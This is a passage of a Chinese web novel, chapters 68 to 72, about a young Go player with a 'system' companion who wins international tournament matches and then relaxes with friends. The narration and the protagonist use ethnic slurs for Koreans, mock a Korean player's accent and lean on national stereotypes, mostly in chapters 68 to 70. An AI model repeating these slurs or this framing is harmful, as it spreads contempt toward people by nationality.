“此次比赛采用分组单循环+附加赛+淘汰赛的形式,首先就是分组,36人分成9个小组,每组4人。” “小组内进行单循环赛,每个小组的前两名直接出线,共18人,然后从9个小组的第3名中,选取成绩较好的2人根据净胜分,与前面的18人组成20人,进行附加赛,通过抽签两两对决,输掉的4人被淘汰,最终剩下16人。” “之后是淘汰赛,16单败淘汰制,生成八强。” 裁判将规则公布完,几乎所有选手脸上都跃跃欲试,这是一种既紧张又刺激的表现。 分组是随机分的,不少人双手合十,祈求幸运之神的眷顾。 崔文和侧目看了纪辰新一眼,神色复杂极了,“既期待与你对决,又怕被你淘汰,这该怎么办呢?” “额拿出最好的状态,不留遗憾?”纪辰新笑了笑。 话落,正对面的显示屏上,便公布了分组信息。 崔文和抬眼望过去,随即眉梢微挑,“咦,我在7组,你在9组呢。” “说实话,突然就没有那么紧张了,哈哈。” 纪辰新回道,“那便祝你好运了。” 八点五十分,全部选手就此落坐。 纪辰新第一局对战的就是韩国人。 思密达带着副眼镜,说着蹩脚的中文,“泥嚎,窝叫朴、敏、宰?” 他总共也不会几句中文,纪辰新点头致意了一下,便失去了沟通的兴趣。 九点整,比赛正式开始。 纪辰新猜先输了,思密达执黑先行。 朴敏宰坐姿端正近乎刻板,他落子的声音像小锤敲在木头上,他的左手无意识地摩挲着棋盘边缘的木纹。 随着他的落子,纪辰新突然回想起苏陌说的,韩国选手通常以积极主动的进攻和强大的中盘战斗力显著,有时候让人防不胜防,千万不要被表象迷惑。 纪辰新沉着应对,按照苏陌说的避免过早地与对方贴身缠斗,用稳健的布局+实地优势,不给其主动发起中盘搏杀的机会。 因此,他抢先占据了边角实空,并不盲目扩张。 俩人你来我往的下了大概四五十目后,黑棋突然弃掉右上角的三目棋,转而在左边二路“点”了一手,硬生生将纪辰新的活棋打劫。 纪辰新微挑了下眉,这就开始了吗,中盘开始猛攻,朴敏宰致力于打乱白棋的布局节奏。 局部死活,纪辰新根本没放在眼里,他通过转换赛场,开启新的战场,来打乱黑棋的节奏。 只见他忽然抬手,从棋盘里夹起一颗白子,手腕微顿,却没有落向劫争的核心,反而砸在了朴敏宰左下黑棋的“托”位上。 不是强攻,是试应手,他要逼迫朴敏宰补棋,顺便抢劫。 朴敏宰被他这一操作,惊出一身冷汗。 他飞快地扫过棋盘,劫材还有三个,左下若补棋,右上的劫就会输掉,若不补,白棋再走一步就能“渡”过去,左下三目棋就没了。 最终,他咬了咬牙,伸手把刚落的黑棋旁边又补了一手,宁愿丢劫,也不能让左下成了白棋的后花园。 纪辰新看到他下这步棋,嘴角勾起一个极淡的弧度,抬手就把劫争的那颗黑棋提了起来。 朴敏宰在棋盒里扒拉着黑棋,落子的声音比之前重了些。 局势不是他想象的那样,他有些慌乱了,他只顾进攻,完全忘了中腹还有三颗孤零零的白棋。 这是之前纪辰新随意下的,朴敏宰也没当一回事,只当是三颗弃子。 下一秒,纪辰新气定神闲地捏起一颗白子,径直落在了中腹三颗子的“跳”位上。 霎时间,朴敏宰即将落子的手悬在了棋盘上,他眨了眨眼,盯着纪辰新下的那步棋,像是没反应过来。 纪辰新看着他逐渐皱起的眉头,像是头一次看清了中腹的变化。 白棋再走一手便能连回左边,一旦连回,黑棋刚刚围在中腹的几颗子就成了“孤棋。” 这下好了,劫丢了,中腹也丢了。 朴敏宰盯着棋局半响儿,终于落了子,却是将黑子砸在中腹白棋的旁边,想要挡住出路。 纪辰新早就料到了他这步,抬手就将白棋落在黑棋的“断点”上。 朴敏宰手心顿时全是汗,眼中已经没了之前的信誓旦旦,他重新坐直了身体,架了架眼镜,死死盯着棋盘,寻求办法。 他整整长考了二十分钟,推演了各种设想,却无一例外,没有退路,注定失败。 朴敏宰的脸色变了又变,他的手指无意识地敲打着棋盒,脑袋越来越乱。 不知时间过去多久,读秒突然响起,“30、29、28” 朴敏宰晃了晃头,整个人前所未有的冷静,他此刻已经意识到这局没有办法救了 心里的负罪达到顶峰,随着读秒归零,他垂头丧气地将两颗黑子,放在棋盘右下角——认输! 纪辰新坦然起身,朝他伸出了手,对面的人迟疑了一下也回握了,只不过他早已没了之前心气,像是受到了很大的打击。 对着纪辰新就是一句,“哎,西巴!” “???!” 纪辰新明显愣神,西八? 你他爹的才西八呢! 别以为他听不懂,你个臭玉米棒子! 纪辰新立即就对他狠狠地竖了个中指,“滚你丫的,真是给你脸了!”—— 作者有话说:宝宝们,国庆节快乐呀~ 第69章 朴敏宰顿时被纪辰新的气势吓到鹌鹑, 他虽然听不懂,但纪辰新的表情和手势明显不好惹。 本就是他挑衅在先,并不占理的他, 最后也不敢多说什么,灰溜溜地走了。 纪辰新看着他缩去了休息区的角落,低着头,连与他对视的勇气都没了。 这家伙还算聪明,知道这不是自己国家的主场,怕多生事端, 便把自己姿态放的很低, 能屈能伸的很。 纪辰新嗤了一声, 便收回了视线,没再理他。 直到下一局,纪辰新对战一个日本人, 同样的事情再次发生。 宫本佐藤属于还没开局就开始狂的人, 纪辰新跟他进行围棋礼仪, 俩人相互鞠躬时, 宫本佐藤神色高傲, 他的目光始终越过纪辰新的头顶,眼皮都未抬一下。 他的下巴微扬, 脖颈绷出一道冷硬的线, 眼里带着毫不掩饰的轻慢, 仿佛输赢在此刻已经书写,而他就是那个赢家。 宫本佐藤确实有狂的资本,年仅25岁,便已是日本家喻户晓的围棋七段。 但在纪辰新眼里,这家伙连苏陌的十分之一的比不上, 人苏陌17岁就七段了,也没见这么狂或是目中无人啊。 宫本佐藤坐姿如古松,指尖白子温润,开局伊始,便祭出了“错小目,无忧角”的经典布局,堂堂正正,每一步都遵循着日本棋道的传承。 他缓慢而坚定地拓展着疆土,就像苏陌昨晚提到的那样。 日本选手在布局和中盘阶段稳扎稳打,他们注重传统,所以打法也传统,他们习惯通过厚势掌控局面。 所以在与他们对局时,一定要打破“厚势+大局”的掌控,用灵活侵消策略,厚势周围浅消,不点入深拆。 毕竟等他们的布局一旦成型便再难以撼动,中盘更是要抓住他们细腻但偏保守的特点,主动制造局部小型接触战,迫使对方出错。 他们大多擅长大局判断,局部快节奏的小战斗并非强项。 纪辰新回忆完,落子时若有神助。 当宫本佐藤刻意构建厚势时,纪辰新果断在另一侧抢占地盘,用实地领先抵消其厚势的潜在价值。 打的就是攻坚战与周旋战。 棋室里的空调带着冷意,纪辰新落子清脆,每一声落在实木上都发出“嗒”的一声清响。 宫本佐藤一直都沉默应对,但在第二十手时,纪辰新的黑棋突然如离弦之箭,深深投入对方尚未完全成型的白阵中。 宫本佐藤微微抬眼,看了对面的少年一眼,那眼神平静无波,仿佛在看一个淘气的孩子。 他略一思索,还是选择了最稳妥的靠压,意图将纪辰新这颗“孤子”驱赶出去,顺便巩固外势。 但这却在纪辰新的算计之中,之后他更是以独特的节奏,用黑棋反复在白棋的厚势中辗转腾挪。 一开始,宫本佐藤还未将纪辰新的小把戏放在眼里,认为纪辰新鲁莽且经验不足,只知道逞匹夫之勇。 然而,就是他看不起的那些黑子,那些残子,突然借着一次凌厉的打入,变成了伏兵千里的奇兵。 宫本佐藤设下的铁板一样的白阵,内部逐渐出现巨大隐患,黑棋像是有了生命般,在白棋的腹地如蛇形游走。 中盘战斗的号角,被纪辰新率先吹响,他一手“碰”直接靠在了白棋外势的腰眼上。 宫本佐藤微不可察的停顿,意识到了不妙,但为时已晚,他神色终于凝重起来,陷入了长考。 纪辰新的招法并不是单纯的进攻,而是缠绕、是声东击西,每一次局部交换,白棋看似拿到了实空,但黑棋才是真正的走到关键处。 宫本佐藤的额角沁出冷汗,指节因为用力而泛白。 他最终落子在三之四上,试图守住最后一块能喘息的棋筋。 他的棋风一向稳健,此刻却绷的像根拉满的弓弦。 纪辰新顺势落子,位置刁钻的恰好卡在白棋联络的断点上,他轻声开口,“宫本先生,您这步“粘”漏了。” 话音刚落,宫本佐藤表情疑惑地盯着他,因为他听不懂,但从纪辰新的表情,他总觉得对方说了什么重要的话。 棋盘上的局势早已不是“胶着”,而是一面倒的碾压了。 黑棋就像一张越收越紧的网,先是在右边盘靠压白棋时,强行断出一块棋,逼的宫本佐藤弃了五子稳住布局。 之后又在中腹的对杀中,纪辰新一直搞游击战,钻了白棋不少空子,甚至将白棋留的两只眼,封在了围剿中。 那密密麻麻的白,如今只剩一口气,像是被围在堤坝里的水,再没处流。 宫本佐藤将汗湿的掌心在裤腿上蹭了蹭,他再次捏起一枚白棋,在右下角补了一手,企图还能逆风翻盘。 纪辰新瞥了眼他的落子,轻笑了声,负隅顽抗,不自量力! 只有十五目,就算守住了那块犄角旮旯,也填不上被他吃掉的三四十目的差距。 纪辰新捻起黑棋,落在了棋盘中央,落在了白棋大龙的气口上。 他再次打击对方,“不好意思,你的白棋,你的大龙,气不够了。” 他的语气很轻,却像根针,宫本佐藤仿佛听懂了一般,眼睛死死盯着那枚刚落下的黑子,脸色瞬间煞白,他双手撑在棋盘两侧,身子微微发抖。 那仿佛是压垮骆驼的最后一根稻草,他反反复复计算了好多遍。 明明白棋还有两口气的,怎么会怎么会? 纪辰新的棋并不是很复杂,但每一步都像是精心策划过的,精准的踩在了他的弱点上。 宫本佐藤总觉得自己好像被对面的少年看穿,少年好像知道自己接下来的每一步要如何走,然后提前堵死他所有的路。 他的目光落在棋盘上,黑棋就像一片漫过田野的雪,把他的白棋分割成一块一块,一小块,一小块,没有一块能连成气脉。 那些曾经被佐藤寄予希望的棋筋,如今都成了死子。 他好像太固步自封了,一直在守,但棋要活,就必须要放开,他居然连一个十几岁的少年都比不过 甚至,一开始还看不起人家? 宫本佐藤的脸色逐渐热了起来,空调的风明明还在吹,却吹不散脸上的羞愧。 这个中国少年的棋,如同深潭,看不清底,又像狂风,无孔不入。 看似普通的局部,隐藏着复杂的变化,宫本佐藤手指抖的不行,他挺直了一整盘的腰背,瞬间佝偻了。 最终,他看向纪辰新的眼神不再是傲慢与偏见,而是被征服过后的震惊与崇拜。 面对这个彻底击败他的少年,他深深地鞠了一躬,声音干涩,纪辰新不知道他说了什么,但看他态度谦逊,便也还了一礼。 他的背影显得落寞,纪辰新却对这人有了不同寻常的改观。 有此态度,何愁不进步? 以后定是不容小觑的吧! 系统适时冒头,【宿主,我给你翻译一下,他刚刚说的是,后生可畏。】 纪辰新不置可否的挑了下眉,【这还差不多,起码没有背地里骂我,比那棒子好多了。】 在这之后,纪辰新又对战了一个中国人,不出意外的再次赢了。 一上午的比赛下来,令他精疲力竭,饿的前胸贴后背。 将近1点左右,会议中心准时开餐。 赵言权是十二点到的,一直在一楼大厅等着,直到上午的比赛结束,他才被允许上到3楼。 纪辰新此刻正被崔文和和章林杰围着,其实准确来说是各围各的。 崔文和从始至终的注意力都在纪辰新身上,而章林杰的注意力也从始至终都在崔文和身上。 纪辰新有一搭没一搭地跟俩人聊着,直到看到赵言权,他的神色才有了波动。 赵言权一瞥见围绕在纪辰新周围的崔文和,白眼瞬间翻到天际,眉头狠蹙。 在他看来,崔文和这家伙一准就是图谋不轨。 谁正常说话,离这么近?都要脸贴脸了! 没看到我兄弟一直似有若无的保持距离吗? 赵言权打抱不平地三两步冲了过去,然后强硬地插在了俩人之间,一副好哥俩似的双手一张,搂着俩人的肩膀,大咧咧道,“大家中午好呀!” 崔文和明显吓一跳,他意外地看着突如其来的赵言权,嫌恶地挣脱开他的桎梏,“你怎么在这?” 他的语气很惊讶,甚至是不可置信。 赵言权要的就是这效果,崔文和果然离纪辰新远了。 赵言权暗笑,反问,“我怎么就不能在这?” “我来看我兄弟比赛啊,不行吗?” 崔文和没好气道,“你不在帝都呆着,跑这来,你爸答应?” “嘿,不劳你挂心,就是我爸让我来的!”赵言权得意道,一副你能把我怎么着的模样。 崔文和懒的跟他废话,绕去了另一边,再次跟纪辰新肩并肩站在了一块儿。 章林杰盯着赵言权愣了半响儿,才终于记起什么,他结结巴巴道,“你你是不是赵言权?” 如果说苏陌是大名鼎鼎,那赵言权的名字在围棋圈也是有一席之地的。 他以挑战苏陌出名,年纪轻轻便已是围棋六段,这两年来风头正盛。 赵言权偏头瞥了他一眼,然后熟练道,“嗯哼,正是在下,难道你是我的粉丝?不好意思啊,我今天不签名!” 章林杰:“”看来传言说的果然没错,赵棋手,很自恋呢! 尬的他,干笑了两声,“不用,不用,你自己留着吧。” “噗嗤!”崔文和直接笑了,“没看出来吗,人家很嫌弃你。” 赵言权切了一声,“你可拉倒吧,人家明明是不好意思!” “章林杰,你自己说,你是谁的粉丝。”崔文和突然发问。 赵言权耸了耸肩,“啧,做我的粉丝,无需自卑!” 章林杰没想到这俩人会因为这个争论起来,但两边他都不想得罪,只能笑,“呵呵我我” “再不去打饭,等下西瓜,都被韩国人薅完了!”纪辰新中断了几人的对话,指着饭后水果区,“看到没,轮到我们还有个毛啊!” “卧槽,这是闹饥荒还是哪样?”赵言权定睛看过去,视线里一群人正在疯抢,整的他惊呆了。 纪辰新指着不远处,之前对自己出言不逊的棒子,呵斥,“你,就你,别看了,就你,西八你丫的,放下你手中的编织袋,怎么还连吃带拿呢!”—— 作者有话说:宝宝们,昨天三次元太忙了,现在补上,晚上尽量再更一章。 第70章 朴敏宰抬眼一看, 居然被纪辰新抓包,立即低下头,降低存在感。 他余光注意到纪辰新这群人走近, 迅速又拿了几块西瓜后,直接跑了。 纪辰新用他能听到的声音,也不管他能不能听懂,直接喝道,“有种你别跑!” 这丫的,算是进入了他的黑名单, 一切都从那句西八开始。 赵言权留意到纪辰新的情绪变化, 惊奇地问了句, “怎么了?这人惹到你了?” 在他看来,他兄弟不管是性格还是哪方面都属于平和那挂的,极少看到他会当众下人面子。 纪辰新淡淡解释了一句, “因为他没礼貌, 所以看他不爽。” “噢~好吧, 所以是他对你出言不逊了?”赵言权瞬间理清了这里边的门道, “如果是这样的话, 那他是该骂!” “要不要我帮你教训一下?” “不用了,先去吃饭吧。”纪辰新收回了目光。 崔文和大概知道怎么回事, 开解道, “没事, 他应该连16强都进不去,没必要为这样的人影响了心情。” 章林杰也附和,“对对对,不过,我估计也进不去16强了, 我今天上午输了两场,唉。” 赵言权没所谓道,“那就当过来锻炼,积累经验了呗。” 章林杰倒也看的开,“嗯,这段时间棋院给我安排了不少比赛,我都没时间伤心,忙成狗了……” 几人说说笑笑,终是打好了饭,边吃边聊。 下午的比赛是从两点半开始的。 之前上午九个组,已经竞选出了前十八名,之后裁判又从剩余的人里面挑选了两名成绩靠前的选手,进入后面的附加赛。 而章林杰,运气不错,属于剩下的人里面,成绩靠前的,便入选了。 裁判宣布规则时,纪辰新正百无聊赖地与系统聊天。 【现在前20名已经出来,有4个轮空签,可以直接进入16强,你觉得我有没有这个运气?】 系统:【额,这不好说。】 纪辰新笑着道,【我想印证一件事。】 系统不明所以,【什么事?】 纪辰新卖起了关子,【等下你看我能不能抽中就完了。】 抽签是根据排名的前后顺序进行的。 纪辰新与一个韩国选手并列第一,便一起去抽的签。 俩人同时将手伸进了箱子,拿出来时,韩国选手率先将纸条展开,上面显示:对战日本选手,星野。 纪辰新挑了下眉,紧接着也展开了纸条,垂眼一看,不是空白,上面写了个韩国选手的名字。 他顿时叹了口气,【啧,已经印证完了。】 系统莫名其妙,【什么意思,你印证啥了?】 纪辰新悠悠然道,【你不是一直想把我塑造成这本书的新主角,取代苏陌吗?】 【现在你看到了,我就没有主角运,连抽个轮空签都抽不中,主角一般运气都挺好的不是吗,几乎没有我这种中规中矩,什么都靠自己的吧?】 系统愣了好一会儿才道,【宿主,你不能这么去比啊,那苏陌也一直是靠自己脚踏实地升段,没有钻过任何空子的好吧。】 【你这样想,就太武断了,根本不是一回事!】 【而且《围棋圣手》本就不是一本开金手指的书,你印证这个没用的!】 纪辰新也不知道是被它说服了还是怎么,总之没接话了。 要说好运,章林杰是真的走了大运,他继入选前二十后,又一次抽中了轮空签,直接不用比赛,进入16强了。 看的纪辰新目瞪口呆,【我看他才是男主,苏陌都没这么好运!】 系统:【】 一时之间竟无法反驳运气这种事有时候真的不好说! 好在,一局比赛也快,纪辰新这次对局的韩国选手,没有上午的宫本佐藤厉害。 俩人之间总共下了七十多目,便胜负已分,纪辰新极其顺利地进入了16强。 崔文和也是一局晋级,没有花费太多力气。 之后,败方与败方继续比赛,16强的名单是在下午五点左右出来的。 纪辰新由于晋级的早,又不能出去,便一直在休息区,与崔文和以及章林杰闲聊。 三人一会儿讨论棋局,一边又研究战术,大多时候是章林杰在问,因为他底气和实力不足,总想多学点。 纪辰新也没藏私,但这种东西靠天赋和领悟力,不是教了就能学会的,章林杰似懂非懂地听着,实际真正掌握的没多少。 一旁的崔文和从始至终都支着下巴认真听讲,他很喜欢听纪辰新说话,甚至觉得是一种享受,至于纪辰新在说什么,他根本没听进去,人早就失了魂,被迷的不知天地为何物了。 纪辰新讲着讲着口渴了,崔文和立即将手边的矿泉水递了过去,“多喝点,润润喉。” “嗯,谢谢。”纪辰新咕噜咕噜喝了几口,冷硬的线条下喉结滚动着温热的吞咽,带着几分莫名的性感,崔文和目光直白不加掩饰,“真好看。” 章林杰在围棋上的天赋虽然一般,但这事他看明白了,盯着俩人打量了好一会儿,才意识到什么。 他心下骇然,棋公子难道对纪辰新有意思? 不会吧? 虽然围棋圈很多人都在猜测崔文和的性取向,但章林杰作为粉丝,还是有些不愿相信的。 纪辰新喝完莫名其妙地看了眼崔文和,“什么?什么好看?” 崔文和指尖绕着长发,眼波流转,“没什么,我说夕阳呢。” 说着,他便指了指外面的落日,“挺美的不是吗?” 纪辰新朝外瞥了眼,“额,还行吧。” 章林杰继续打量着俩人,试图从俩人简单的对话里得出什么结论。 但纪辰新实在是太正常了,而崔文和除了刚刚流露出的异常,其他都隐藏的很好,一时之间,章林杰又觉得自己判断失误。 五点十分,裁判宣布今日比赛圆满结束,晋级人员明日同一时间继续比赛。 纪辰新早就坐不住了,他一天都在硬挺着,急需回酒店躺一躺,休养状态。 所以当崔文和提出去外面逛逛时,他毅然决然地拒绝了。 他这一拒绝,崔文和便也没了去逛的心思,就跟着他一起返回酒店了。 章林杰跟在后边琢磨,他刚刚明明看出崔文和很想去外面玩的,结果却因为纪辰新一句拒绝的话,彻底改变了主意? 他没记错的话,棋公子平日里从不怎么迁就人的,怎么现在? 在他还没琢磨明白之际,几人便已抵达了酒店。 赵言权提前给纪辰新订好了餐,有他在,崔文和根本无法继续近纪辰新的身。 “不好意思啊,我只买了我和我兄弟的,你们请自便哈!” 赵言权挥一挥衣袖,就带走了纪辰新,甚至回头瞪了一眼崔文和,警告他别跟上来。 崔文和确实没有跟上去,他知道赵言权嘴巴没个把门的,到时候将他的心事捅出来,对他根本没好处,甚至会惹的纪辰新远离他,那就太得不偿失了。 目送人远去后,章林杰顾及着偶像的心情,提出要不要出去逛一下。 崔文和瞥了他一眼,兴致缺缺道,“你自己去吧,我累了,先回房间了。” 说罢,他转身就走了。 章林杰一个人呆在原地,继续捋思路,所以,因为纪辰新不想去,棋公子也就没了兴致? * 纪辰新回到房间后,累惨了,他连吃饭的兴趣都没了,直接倒在了床上。 赵言权将饭盒揭开,“今天给你买的皮蛋瘦肉粥,多少吃点吧,你今天中午就没吃什么。” 这倒是确实,中午纪辰新为了养伤口,就喝了点冬瓜排骨汤以及一点水果。 赵言权走过去将他扯了起来,“快点,你要是饿瘦了,我怎么跟纪奶奶交代?” “哪有这么夸张,要是一天就能瘦,那些减肥的估计早都瘦成杆子了。”纪辰新磨蹭着起来,终究还是没辜负赵言权的一番好意。 等喝完粥,又到了两天一次的换药时间,之前赵言权跟护士学了手法,换起来倒也快,不是什么难事。 纪辰新笑着道,“你已经是一个合格的护工了,我是不是得付你工资啊?” “哈哈,行啊,我要价很贵的。”赵言权眉头一挑,计算道,“一个月起码得上万吧,念你是我兄弟,给你个友情价,拿八千就行。” “哇,你也太黑心了,换个药居然要我八千,之前苏陌给我找的护工,一天才两百,一个礼拜两千都不到。”纪辰新控诉他。 “你知道墨城现在的最低基本工资是多少吗,1050元。两年前,也就是2010年,900都不到每个月,你就说你黑不黑吧。” 赵言权明显蒙圈,“啊,这么少的吗?” 他明显是过惯了好日子,不知人间疾苦,“基本工资居然连一万都没有,那还干个毛啊!” 纪辰新忍不住翻白眼,“你别跟我说话,我怕我仇富!” “啧,我只是实话实说嘛,难道你不觉得很离谱吗,如果一个月工资只有一千块的话,这要怎么活?”赵言权发出了灵魂拷问。 纪辰新张了张唇,明显欲言又止,“你觉得能怎么活,我奶奶一个月就赚这么多,我还不是活的好好的?” 赵言权顿时以一种新奇的目光看着他,“卧槽,牛逼啊苏陌一天的零花钱都不止一千,我虽然没他这么多,但一天五百还是有的。” “其实从另一个角度来讲,你还挺好养活的!” 这下,纪辰新是真破防了,“求你快闭嘴吧,小心我和你们这群有钱人拼了!”《 》 70-80 第71章 第二天的比赛如期进行。 16进8, 单败淘汰赛,16名选手通过随机抽签确定对阵,每轮比赛胜者晋级8强, 负者直接淘汰,全程无复活,无积分。 单败即淘汰,容错率极低,一场比赛的失误就会结束本次赛事征程,直接且残酷。 上场抽签前, 章林杰一直双手合十, 祈求好运再次降临。 纪辰新见他这么紧张, 便劝他喝点水缓缓,但他坚决一滴水都不沾,说是怕等下比赛时要上厕所, 就更糟心了。 然而抽签结果确实很糟心, 章林杰死都想不到与自己对战的会是崔文和! 他一时之间也不知道到底是好运加持, 还是天意弄人了。 但这是难得的一次, 能与偶像正儿八经地比一场的机会, 只能说喜忧参半,心情极其复杂了。 崔文和看到抽签结果也愣了下, 他的棋力在章林杰之上, 这是毋庸置疑的事实, 同时两人现在还同属于一个棋院,一定程度上来说,算是同门相杀了。 纪辰新匹配到的选手是一名韩国人,他现在对韩国人的印象真的很不好,所以开局时非常冷淡地敬了个礼。 然而对面的棒子, 态度比之前的朴敏宰要好,举手抬足之间还带了点中国人的特质,甚至他会的中文也比朴敏宰多很多。 纪辰新听到他自我介绍说,他叫郑明悟,外派中国几年,受过特训,地点还是去的国棋院。 纪辰新终于知道他隐隐溢出的底气来源何处了,居然是师承国棋院啊,那确实是有些本事在的。 正好,除了苏陌,纪辰新还没有跟其他国棋院的选手对弈过,这次就挑战一下,看看水平。 郑明悟:“我从8岁苦练围棋,20岁来到中国,今年24岁,目前职业六段。” “方便问一下,你现在的段位是多少吗?” 郑明悟说话带着中国人的谦卑,看来在国棋院的耳濡目染下,还是学到了不少东西的。 他既如此,纪辰新的态度便也跟着好转,“我是前段时间晋升的初段,不过实际段位可能更高一点。” “职业初段?高一点?”郑明悟琢磨着他话里的意思,目前赛事已经进行到16强了,职业初段怎么可能留到现在? 甚至这人,他要是没记错的话,昨天比赛的积分好像排名第一来着,这不是明摆着唬他,骗他吗! 郑明悟霎时看向纪辰新的眼神都不对劲了,只觉得对面的少年是个说谎精,不诚实,还特装! 纪辰新也不知道他脑补了什么,反正既来之则安之,他是过来比赛的,又不是来交朋友的。 赛场的空调风吹的很轻,棋盘上凝结的张力却舒缓有度。 郑明悟执黑先行,他直接落在了左上星位与小目之间的“三三”,这个在韩式棋风里是极少出现的,他带着鲜明的中国围棋“实地优先”的思路选点。 纪辰新眉梢微挑,仿佛有种似曾相似之感,他沉稳应对,落子不假思索,瞬间便有了自己的布局。 黑子在棋盘上发出“嗒”的一声,不重,像是敲在了纪辰新的预判上,郑明悟确实学到了不少真东西,他轻易破解了纪辰新想在左上围空的打算。 甚至还为后面埋下“变相小飞守角”,这种典型的中国特训下的打法。 他不贪外势,牢牢地将实地攥在手里。 纪辰新凝视了棋盘一会儿,总觉得他的棋风跟苏陌的有点相像,但又具备自己的特点,可能有模仿,却又像是取长补短。 明悟,明悟,果然悟性不错啊。 纪辰新轻叹了一口气,捻起一颗白子,落在了右下的“星位大飞”。 印象中,国棋院的选手都喜欢“硬刚实地”,所以最好的办法是让其算不清得失。 纪辰新也是试探性的下法,没想到郑明悟果然皱眉了。 白棋没有去救被黑棋盯上的白棋,反而去右下开新局,是郑明悟在特训时少见的“弃子争先”路数。 郑明悟微微低头,指尖在膝盖快速点算,这是他多年来在中国养成的习惯,国棋院老师教过的,“每算三步留一手”的韵律。 指尖敲过节奏,他终于数清,便再次落子。 四十手过后,棋盘上的形势像缠在一起的棉线,郑明悟的黑棋在左下和右上稳稳占了两块实地,他擅长稳扎稳打。 纪辰新的白棋在外围织了一张薄网,左边那几颗看似被断开的白子,像藏在网里的针,每一颗都牵着黑棋的气。 郑明悟盯着棋盘的右上角,毫不犹豫地落下一子,他想将右上的实地再扎的紧一些,这是他这几年特训时熟练的打法,叫巩固法。 只要实地够厚,他就能拖到官子阶段赢半目。 然而,他的算盘注定要落空了,纪辰新从棋盒里捏出一颗白子,动作比之前慢了半拍,下落时却准得像量过尺寸一般,将黑棋右上实地的断点抢占了。 郑明悟猛地眯了下眼,然后又开始数气,黑棋右上那片看似厚实的实地,现在因为他刚刚的那步巩固,反而把自己的退路都堵死了。 纪辰新不留情面地将黑棋切成了两块,左边三块黑棋只剩两口气,右边那块地气虽多,却要被外围的白子“关门打狗”,郑明悟盯着棋盘看了足足三分钟,都快愁死了。 没一会儿,他居然闭上了眼睛,回忆起老师教他的,“别光顾着算自己的实地,得看对方的网在哪!” 纪辰新并不催他,只是轻轻把玩着白子,然后目光落在左边最开始被弃掉的白子上。 这是他故意留下的引子,就等郑明悟把实地抓的太紧太死,只要露出断点,就会被他秒。 郑明悟终于动了,他已经计算清楚得失,要不丢右上二十目,要么就丢左边二十目,好像不管怎么下,他都得输。 但他不甘心,他纠结了好一会儿,决定来个鱼死网破。 纪辰新见他如此,便也陪他下了下去。 白棋已经到了收网阶段,一子下去便定了乾坤。 左边那几颗白子就这么活了,右上黑棋被吃了一块,官子虽未算完,但郑明悟已经没有任何可以回旋的余地了。 他抬头看着纪辰新,并未说话,动作上却捏起两颗黑子,以作认输。 他太平静了,平静到把棋盘上的棋子一颗一颗捡起来,黑子白子分开放进了棋盒。 阳光从落地窗洒进来,他手中布满了训练时留下的茧子,在纪辰新的角度看来格外清晰。 气氛低沉凝重,纪辰新总觉得自己得说点什么缓解一下,于是掂量了一瞬,开口道,“你下的很稳,但有时候稳也会变成绊脚石,不知道你有没有发现。” 闻言,郑明悟顿了下,随即眸光一闪,“嗯是的,我想我大概知道自己的瓶颈在哪了!” 话落,他倏然抬眸,“多谢你!” 一局棋的输赢并不会中断他的围棋生涯,他未来的路还有很远要走,他会继续参加升段赛,直至学无所学,直到大彻大悟! 纪辰新总觉得他这状态,很像是开悟了。 明悟,明悟,还真是明心见性,憬然有悟。 * 世赛第一轮,八强终于诞生,纪辰新过五关斩六将,再次顺利晋级。 章林杰得偿所愿地与偶像对弈了一局,虽然结果是以失败告终,但他并不伤心,毕竟能走到这一步,已经算是他的极限了。 而且他也并不是一无所获,第一轮被淘汰的选手都有800美金作为安慰,依照汇率,折合人民币差不多有五千左右了。 所以,当章林杰领到钱的那刻,笑的是真的很开心。 就连纪辰新都有点羡慕了,不过越往后奖金也就越高,若是他能拿到冠军,这辈子估计都不愁吃喝了。 说是为了完成任务,但实际上,金钱上的诱惑对纪辰新来说也很大! 赛事结束,吃完午饭,纪辰新便同赵言权一起返回了酒店歇息。 崔文和一直跟在俩人身后提议,“下午要不要一起出去逛逛,咱好不容易来一趟,三个月后,第二轮的比赛地点都不一定能在这了。” 其实他说的在理,但纪辰新目前的情况不容许太过劳累,或是走太多路,所以这个提议他依旧没有答应。 不过,他内心也知道,总是拒绝人不好,便问赵言权去不去。 要是去的话,可以不用管他,出去好好的玩一趟,他们明天再赶回墨城也不迟。 赵言权一听让他和崔文和两个人去玩,直接炸毛了,“卧槽,我才不去,有这时间,还不如去网吧潇洒。” 崔文和听出了他语气里的嫌弃,也没好气道,“你以为我想和你去吗?还不是为了” “为了什么?你想做什么?”赵言权瞬间抓住他话里的漏洞,就像是抓住了他的狐狸尾巴一样,“我就说吧,我就知道你不安好心。” 崔文和懒的跟他讲,转头看向了纪辰新,“既然辰新不想去,那我也不去了。” “额其实不用管我的。”纪辰新顿感压力山大,“要不这样,咱们去上网,这个我还是能接受的。” 比完赛,正是打游戏放松一下的好时候,刚刚赵言权提到网吧时,纪辰新就已经心动了。 毕竟上网不需要体力,还适合他休养,何乐而不为呢? 崔文和平时打游戏不多,但此时此刻为了能与纪辰新多多相处,一咬牙也就同意了。 “行,我和你一起去。” “那啥,可不可以加上我?”章林杰弱小又无助地开口,前面他都插不上话,此刻眼瞅着这三人就要去网吧上网了,他也不想一个人孤苦伶仃地干呆着。 “哈哈,那敢情好啊,人多方便开黑!”赵言权来了兴致,笑着道,“若再叫个人,咱都可以五黑了!” 纪辰新倏然眼睛一亮,打了个响指道,“嘿,你不提我都忘了,我这儿确实还有个人选!” 第72章 一整个下午下来, 四人都呆在网吧打游戏,纪辰新还将自己经常开黑的那位游戏好友,也拉了进来, 与他们一起玩。 崔文和属于平时不怎么玩这类竞技游戏的,几局下来,都不知道被赵言权嘲讽了多少回。 再加上连章林杰玩的都比他好,崔文和越到后面,越玩越自闭。 纪辰新适当地给他调整了位置,一开始是辅助, 但崔文和太野了, 根本不与ADC协作, 便又给他调去了中路。 好在,崔文和玩中路时输出能力还不错,再加上纪辰新打野帮他蹲人, 他还算配合, 就这么几局下来, 他总归是上了道, 甚至还能配合纪辰新去抓人了。 他的成长显而易见, 到后面赵言权也不怎么骂他了。 几人一玩就废寝忘食地玩到了晚上七点,在众人都点泡面烤肠加鸡蛋当晚餐时, 纪辰新默默让网管去给他买了份粥。 关于他喝粥, 赵言权还美其名曰解释, “我兄弟最近身体虚,需要清淡饮食,少见不怪,少见不怪哈!” 他一句话就将这事带了过去,众人倒也没有质疑, 毕竟纪辰新的气色看起来确实没有以前那么精神与红润。 “我带了西洋参,要不要给你补一补?”崔文和觉得纪辰新一直这样下去也不是办法,就想着给他补一下身体。 纪辰新摆手拒绝了,“这太补了,我现在还吃不了,先不说这个了,直接开下一局吧。” 